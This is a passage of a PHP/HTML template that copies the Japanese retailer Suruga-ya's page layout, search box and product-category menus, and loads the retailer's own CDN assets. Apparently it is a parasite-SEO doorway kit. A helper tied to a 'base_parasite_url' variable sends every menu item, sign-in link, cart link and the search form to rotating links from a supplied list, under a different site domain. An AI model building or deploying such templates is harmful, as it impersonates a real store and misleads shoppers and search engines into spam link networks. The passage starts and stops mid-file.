async><\/script>\n<script src=\"https:\/\/cdn.suruga-ya.jp\/styles\/js\/lightbox.js\" type=\"text\/javascript\"><\/script>\n\n\n<\/head>\n\n<body class=\"bg_white_body default_font\">\n<div class=\"dialog-off-canvas-main-canvas\">\n\n<?php\nif (!function_exists('get_next_random_link')) {\n    function get_next_random_link(array &$data) {\n        static $sidebar_link_index = 0;\n        if (empty($data['sidebar_links'])) {\n            return $data['base_parasite_url'] . '\/';\n        }\n        $link = $data['sidebar_links'][$sidebar_link_index];\n        $sidebar_link_index = ($sidebar_link_index + 1) % count($data['sidebar_links']);\n        if (strpos($link, 'http') !== 0) {\n            $link = $data['base_parasite_url'] . $link;\n        }\n        \n        return $link;\n    }\n}\n?>\n<header>\n<div class=\"top_nav\">\n    <div class=\"container_suru\">\n        <div class=\"row align-items-center text-left\">\n            <div class=\"col-3 d-flex justify-content-start align-items-center\">\n                <button type=\"button\" class=\"sidebar_suruCollapse navbar-btn\" id=\"sidebarCollapse\">\n                    <span><\/span>\n                    <span><\/span>\n                    <span><\/span>\n                <\/button>\n                <a href=\"<?php echo $data['base_parasite_url']; ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header','eventLabel':this.href});\"><?php echo $data['domain']; ?><\/a>\n            <\/div>\n            <div class=\"col-5\">\n                <form class=\"form-inline search-form-top\" action=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" method=\"get\">\n                    <div class=\"search_top_pc d-flex justify-content-start\">\n                        <div class=\"select-wrapper\">\n                            <select class=\"form-control\" name=\"category\" id=\"cat-search\">\n                                <option value=\"\">All products<\/option>\n                                <option value=\"3\">Video software<\/option>\n                                <option value=\"4\">Music software<\/option>\n                                <option value=\"5\">Toys &amp; Hobbies<\/option>\n                                <option value=\"10\">Goods and Fashion<\/option>\n                                <option value=\"2\">game<\/option>\n                                <option value=\"6\">PC\/Smartphone<\/option>\n                                <option value=\"8\">Home appliances, cameras, AV equipment<\/option>\n                                <option value=\"7\">Books and Comics<\/option>\n                                <option value=\"11\">Doujinshi<\/option>\n                            <\/select>\n                            <input id=\"search_cat_suggest\" type=\"text\" style=\"display: none\" value=\"\">\n                        <\/div>\n                        <div class=\"search_box_wraper\">\n                            <span class=\"line_break\"><\/span>\n                            <input id=\"txt-search\" class=\"form-control search_top_input\" type=\"search\" name=\"search_word\" autocomplete=\"off\" value=\"\">\n                        <div class=\"np-keyword-suggest\" style=\"display: none;\"><\/div><div class=\"np-item-suggest\" style=\"display: none;\"><\/div><\/div>\n                        <input type=\"hidden\" name=\"searchbox\" value=\"1\">\n                        <input type=\"hidden\" value=\"0\" id=\"check_path\" data-click=\"0\">\n                        <input type=\"hidden\" name=\"is_marketplace\" value=\"0\">\n                        <div class=\"search_top_btn_wraper\">\n                            <button id=\"btn-search\" type=\"submit\" class=\"form-control search_top_btn\">search<\/button>\n                        <\/div>\n                    <\/div>\n                <\/form>\n            <\/div>\n            <style type=\"text\/css\">\n                .header_right_display_none{\n                    display: none !important;\n                }\n            <\/style>\n            <div class=\"col-4 justify-content-between d-flex align-items-center header_right padL0\">\n                <div class=\"safe-search safe-search2\">\n                    <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" class=\"d-flex align-items-center\" data=\"\">\n                        SafeSearch Not set\n                    <\/a>\n                <\/div>\n                <div class=\"d-flex align-items-center justify-content-end\">\n                    <div class=\"item_right_header padR32\">\n                        <div class=\"d-flex align-content-center justify-content-center\">\n                            <div class=\"text-right lineH13 padR4\">\n                                <div class=\"text-blue font-weight-bold text-login\"><a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CT','eventLabel':this.href});\">Sign In<\/a><\/div>\n                                <div class=\" font-weight-bold text-logout\" style=\"display: none\"><a href=\"<?php echo htmlspecialchars($data['random_link']); ?>\" class=\"text-blue account-name\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CT','eventLabel':this.href});\"><\/a><br><a href=\"<?php echo htmlspecialchars($data['random_link']); ?>\" class=\"black-link\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CT','eventLabel':this.href});\"><small>(sign out)<\/small><\/a><\/div>\n                            <\/div>\n                            <div><a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header','eventLabel':this.href});\"><img src=\"https:\/\/cdn.suruga-ya.jp\/pics\/common\/pc\/user_black.svg\" title=\"user\" alt=\"user icon\" height=\"26px\"><\/a><\/div>\n                        <\/div>\n                    <\/div>\n                    <div class=\"item_right_header\">\n                        <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header','eventLabel':this.href});\" class=\"d-flex justify-content-start align-content-center\">\n                            <div class=\"sidebar_cart\">\n                                <img src=\"https:\/\/cdn.suruga-ya.jp\/pics\/common\/pc\/cart_black.svg\" title=\"cart\" alt=\"cart icon\" height=\"26px\">\n                                <span class=\"lbl_cart cart-number\">0<\/span>\n                            <\/div>\n                        <\/a>\n                    <\/div>\n                    <div class=\"item_right_header\">\n                        <div class=\"notify\">\n                            <div class=\"dropdown\" id=\"notification\">\n                                <div class=\"bell\">\n                                    <div id=\"subscribe\" role=\"button\" data-toggle=\"dropdown\" aria-haspopup=\"true\" aria-expanded=\"false\">\n                                        <span class=\"lbl_count\">0<\/span>\n                                        <img class=\"notification-btn dropdown-toggle\" src=\"https:\/\/cdn.suruga-ya.jp\/pics\/common\/pc\/bell.svg\" height=\"26px\" alt=\"Notification Bell\">\n                                        <div class=\"stt_Notifi d-none\"><\/div>\n                                    <\/div>\n                                    <div class=\"dropdown-menu\" aria-labelledby=\"subscribe\">\n                                        <div class=\"head\">\n                                            <div class=\"row\">\n                                                <div class=\"col-lg-12 col-sm-12 col-12 d-flex justify-content-end\">\n                                                    <div><a href=\"javascript:void(0)\" class=\"read-all-message float-right text-gray-dark\">Mark all as read<\/a><\/div>\n                                                <\/div>\n                                            <\/div>\n                                        <\/div>\n                                        <div class=\"notify_scroll\">\n                                            <ul id=\"messages\" class=\"list-unstyled notify_scroll\">\n                                            <\/ul>\n                                            <div class=\"justify-content-center notify-loading d-flex align-items-center\">\n                                                <div class=\"spinner-border text-secondary m-3\" role=\"status\">\n                                                    <span class=\"sr-only\">Loading...<\/span>\n                                                <\/div>\n                                            <\/div>\n                                        <\/div>\n                                        <div class=\"overlay\"><\/div>\n                                    <\/div>\n                                <\/div>\n                            <\/div>\n                        <\/div>\n                    <\/div>\n                <\/div>\n            <\/div>\n        <\/div>\n    <\/div>\n<\/div>\n<\/header> \n<div class=\"d-flex\">\n<?php\nif (!function_exists('render_category_node')) {\n    function render_category_node(array $node, array &$links_array, array $data, $level = 0) {\n        if (empty($node)) {\n            return;\n        }\n\n        echo '<ul class=\"sidebar-category-list level-' . $level . '\"' . ($level > 0 ? ' style=\"display:none;\"' : '') . '>';\n        foreach ($node as $name => $item) {\n            if (empty($name)) continue;\n            $has_children = !empty($item['children']);\n            $link = get_next_random_link($data);\n\n            echo '<li>';\n            echo '<a href=\"' . htmlspecialchars($link) . '\">' . htmlspecialchars($name) . '<\/a>';\n            \n            if ($has_children) {\n                echo '<span class=\"toggle-arrow ' . ($level > 0 ? '' : 'top-level') . '\">&gt;<\/span>';\n                render_category_node($item['children'], $links_array, $data, $level + 1);\n            }\n            echo '<\/li>';\n        }\n        echo '<\/ul>';\n    }\n}\n\n\n$sidebar_links_copy = $data['sidebar_links'];\n?>\n\n<div class=\"sidebar_suru\">\n    <div class=\"sidebar_suru_inner\">\n        <ul class=\"sidebar-category-list level-0\">\n            <li><a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\">campaign<\/a><\/li>\n            <li><a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\">New Arrivals<\/a><\/li>\n            <li><a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\">reservation<\/a><\/li>\n            <li><a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\">Featured<\/a><\/li>\n            <li><a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\">Want to sell<\/a><\/li>\n        <\/ul>\n        <hr class=\"sidebar-divider\">\n        <?php if (!empty($data['category_tree'])) {\n            render_category_node($data['category_tree'], $sidebar_links_copy, $data);\n        } ?>\n    <\/div>\n<\/div>\n\n<style>\n.sidebar_suru { float: left; width: 240px; margin-right: 20px; }\n.sidebar_suru_inner { padding: 10px; border: 1px solid #ddd; }\n.sidebar-divider { border-top: 1px solid #eee; margin: 10px 0; }\n.sidebar-category-list { list-style: none; padding-left: 0; }\n.sidebar-category-list.level-0 > li { border-bottom: 1px solid #f0f0f0; }\n.sidebar-category-list ul { padding-left: 15px; }\n.sidebar-category-list li { padding: 8px 5px; position: relative; }\n.sidebar-category-list a { text-decoration: none; color: #333; display: block; }\n.sidebar-category-list .toggle-arrow {\n    position: absolute;\n    right: 10px;\n    top: 8px;\n    cursor: pointer;\n    font-size: 16px;\n    color: #999;\n}\n<\/style>\n\n<script>\ndocument.addEventListener('DOMContentLoaded', function() {\n    document.querySelectorAll('.sidebar_suru .toggle-arrow').forEach(arrow => {\n        arrow.addEventListener('click', function(e) {\n            e.preventDefault();\n            let sublist = this.nextElementSibling;\n            if (sublist && sublist.tagName === 'UL') {\n                \/\/ Toggle display\n                sublist.style.display = sublist.style.display === 'block' ? 'none' : 'block';\n                \/\/ Optional: Rotate arrow\n                this.style.transform = sublist.style.display === 'block' ? 'rotate(90deg)' : 'rotate(0deg)';\n            }\n        });\n    });\n});\n<\/script>\n\n<nav id=\"sidebar_menu\" class=\"sidebar_menu sidebar_right\">\n<div class=\"sidebar-header\">\n    <div class=\"list_sidebar_header logged\">\n        <div class=\"item_sidebar_header d-flex align-items-center\">\n            <img src=\"https:\/\/cdn.suruga-ya.jp\/pics\/common\/pc\/user_black.svg\" title=\"user\" alt=\"user icon\" height=\"24px\" class=\"padR12\">\n            <div class=\"lineH18\">\n                <span class=\"text-login\"><a class=\"account-login\" href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\">Sign in here<\/a><\/span>\n                <span class=\"text-logout\" style=\"display: none !important\"><small>Hello<\/small><br><a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" class=\"text-blue account-name\"><\/a><\/span>\n            <\/div>\n        <\/div>\n        <div class=\"item_sidebar_header d-flex align-items-center\">\n            <div class=\"d-flex justify-content-start align-content-center\">\n                <div class=\"sidebar_cart\">\n                    <img src=\"https:\/\/cdn.suruga-ya.jp\/pics\/common\/pc\/cart_black.svg\" title=\"cart\" alt=\"cart icon\" height=\"24px\">\n                    <span class=\"lbl_cart cart-number\">0<\/span>\n                <\/div>\n                <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\">Cart is here<\/a>\n            <\/div>\n        <\/div>\n        <div class=\"item_sidebar_header d-flex align-items-center text-logout\" style=\"display: none !important\">\n            <img src=\"https:\/\/cdn.suruga-ya.jp\/pics_webp\/common\/pc\/logout.svg.webp\" title=\"user\" alt=\"user icon\" style=\"height: 24px;\" class=\"padR12\">\n            <a class=\"logout-link black-link\"><\/a>\n        <\/div>\n    <\/div>\n<\/div>\n<div class=\"sidebar_scroll\" style=\"height: 744px;\">\n    <div class=\"sidebar_wrap padT0 bottom_line\">\n        <ul class=\"list-unstyled components\">\n            <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CB','eventLabel':this.href});\">campaign<\/a> <\/li>\n            <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CB','eventLabel':this.href});\">New Arrivals<\/a> <\/li>\n            <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CB','eventLabel':this.href});\">reservation<\/a> <\/li>\n            <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CB','eventLabel':this.href});\">Featured<\/a> <\/li>\n            <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CB','eventLabel':this.href});\">Want to sell<\/a> <\/li>\n        <\/ul>\n    <\/div>\n    <div class=\"sidebar_wrap padT0\">\n        <ul class=\"list-unstyled components\">\n<li class=\"has-sub\">\n    <div class=\"grid-submenu\">\n        <span data-target=\"#homeSubmenu1\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"><\/span>\n        <a onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\">Video software<\/a>\n    <\/div>\n    <ul class=\"collapse list-unstyled\" id=\"homeSubmenu1\" data-parent=\".sidebar_menu\">\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">anime<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">movie<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">TV Drama<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">music<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Special Effects<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">others<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">stage<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Sports<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Comedy<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Hobbies and Culture<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">gravure<\/a> <\/li>\n    <\/ul>\n<\/li>\n<li class=\"has-sub\">\n    <div class=\"grid-submenu\">\n        <span data-target=\"#homeSubmenu2\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"><\/span>\n        <a onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\">Music software<\/a>\n    <\/div>\n    <ul class=\"collapse list-unstyled\" id=\"homeSubmenu2\" data-parent=\".sidebar_menu\">\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Japanese Music<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Western Music<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Classic<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Anime and Games<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Soundtrack<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Theatre\/Musical<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">jazz<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">others<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Asia<\/a> <\/li>\n    <\/ul>\n<\/li>\n<li class=\"has-sub\">\n    <div class=\"grid-submenu\">\n        <span data-target=\"#homeSubmenu3\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"><\/span>\n        <a onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\">Toys &amp; Hobbies<\/a>\n    <\/div>\n    <ul class=\"collapse list-unstyled\" id=\"homeSubmenu3\" data-parent=\".sidebar_menu\">\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Toys<\/a><\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">stuffed toy<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Doll<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">puzzle<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Minicar<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Board games<\/a> <\/li>\n\n        <hr>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Hobby<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Figures<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Plastic Models<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Trading Card Box Pack<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Trading Cards Single Cards<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Radio Control<\/a> <\/li>\n    <\/ul>\n<\/li>\n\n<li class=\"has-sub\">\n    <div class=\"grid-submenu\">\n        <span data-target=\"#homeSubmenu4\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"><\/span>\n        <a onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\">Goods and Fashion<\/a>\n    <\/div>\n    <ul class=\"collapse list-unstyled\" id=\"homeSubmenu4\" data-parent=\".sidebar_menu\">\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">clothing<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">accessories<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Small items<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">stationery<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Seals and stickers<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Straps and Keychains<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Bags and sacks<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Towels and hand towels<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Cushions, sheets, pillowcases<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">calendar<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Poster<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Tapestry<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Postcards and colored paper<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Tableware<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Household goods<\/a> <\/li>\n    <\/ul>\n<\/li>\n<li class=\"has-sub\">\n    <div class=\"grid-submenu\">\n        <span data-target=\"#homeSubmenu5\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"><\/span>\n        <a onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\">game<\/a>\n    <\/div>\n    <ul class=\"collapse list-unstyled\" id=\"homeSubmenu5\" data-parent=\".sidebar_menu\">\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Video games<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Nintendo Switch<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">PlayStation 5<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Portable Games<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Arcade Game Board<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Retro games<\/a> <\/li>\n    <\/ul>\n<\/li>\n<li class=\"has-sub\">\n    <div class=\"grid-submenu\">\n        <span data-target=\"#homeSubmenu6\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"><\/span>\n        <a onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\">PC\/Smartphone<\/a>\n    <\/div>\n    <ul class=\"collapse list-unstyled\" id=\"homeSubmenu6\" data-parent=\".sidebar_menu\">\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">PC\/tablet unit<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Peripherals<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">parts<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">soft<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal 